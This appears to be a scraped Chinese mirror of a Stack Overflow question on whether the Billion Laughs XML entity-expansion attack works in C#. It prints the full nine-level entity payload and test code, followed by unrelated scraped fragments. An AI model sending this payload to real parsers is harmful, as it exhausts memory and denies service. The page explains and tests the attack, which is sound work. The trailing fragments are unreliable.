- xml - AJAX/Jquery XML 解析
- 具有多重继承的 XML 模式
- .net - 枚举序列化 Json 与 XML
- XML 简单类型、简单内容、复杂类型、复杂内容
我正在尝试从 MSDN magazine page 中测试 XML 代码它说以下代码行将导致处理时内存使用量增加高达 3GB。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
当我尝试将该文本粘贴到 Visual Studio 中的 xml 文件时,它确实显示内存和 CPU 使用率都有所增加。但是,当我尝试将其放入文本文件而不是 XML 文件并使用 C# 加载它时,它没有任何影响。
更新:我认为 LoadXml 方法应该会产生影响,但我想那不是处理部分。当我试图得到第一个 child 时,它(即 c#)抛出了一个异常,告诉它 MaxCharactersFromEntities
被超出了。
更新:这也是我的代码:
using System;
using System.Xml;
namespace BillionLaughsAttack
{
class Program
{
//The file containing the billion laughs mentioned previously
//a txt file: Since an xml file causes visual studio to parse
static String xmlFileLocation = "./MyData/DeepXML.txt";
static void Main(string[] args)
{
String xmlContent = null;
System.IO.StreamReader sr;
System.Xml.XmlDocument document = new XmlDocument();
try
{
sr = new System.IO.StreamReader(xmlFileLocation);
xmlContent = sr.ReadToEnd();
//Load xml containing Billion Laughs Attack (this won't do anything!)
document.LoadXml(xmlContent);
//Proces xml by getting first child (this will cause an exception!)
String val = document.FirstChild.Value;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
}
最佳答案
此攻击利用了易受攻击的 XML 功能。
通过XML解析器运行会递归展开实体,占用大量内存。
以纯文本形式阅读它根本不会做任何事情。
关于c# - Billion Laughs Attack 是否应该在 C# 中运行?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16992536/
Time always save the best for last. 时间总是把最好的人留到最后。 The time that you are my most fatal. 光深知你是
Billion Laughs DoS 攻击似乎可以通过简单地阻止扩展 XML 文件中的实体来预防。有没有办法在 Python 的 xlrd 库中执行此操作(即某种标志)?如果没有,是否有推荐的方法来避
Laugh eyes and lie face [ 会笑的眼和说谎的脸] My hand will only to lead me in the end will not separ
... ]> &ha128; 据说这被称为十亿笑声 DoS 攻击。 有人知道它是如何工作的吗? 最佳答案 Billion Laughs 攻击是一种针对 XML 解析器的拒绝
我正在尝试从 MSDN magazine page 中测试 XML 代码它说以下代码行将导致处理时内存使用量增加高达 3GB。 ]> &lol9;
XXE安全威胁目前没有。在 OWASP 十大 Web 应用程序安全威胁列表中排名第 4,因此我希望 Java 标准 XML 库能够防止此类攻击。但是,当我以 Sonar 推荐的方式使用 Validat
我想保护我的网站免受 billion laugh 攻击。进行攻击的SVG图片代码为: 我需要找到一个 PHP 或 javascript 解决方案来保护网站不受此影响,而不阻止
我正在用 PHP 编写一个具有 XML API 的 Web 应用程序,我担心三个特定的漏洞,它们都与内联 DOCTYPE 定义有关:本地文件包含、二次实体爆炸和指数实体爆炸。我喜欢使用 PHP (5.
我是一名优秀的程序员,十分优秀!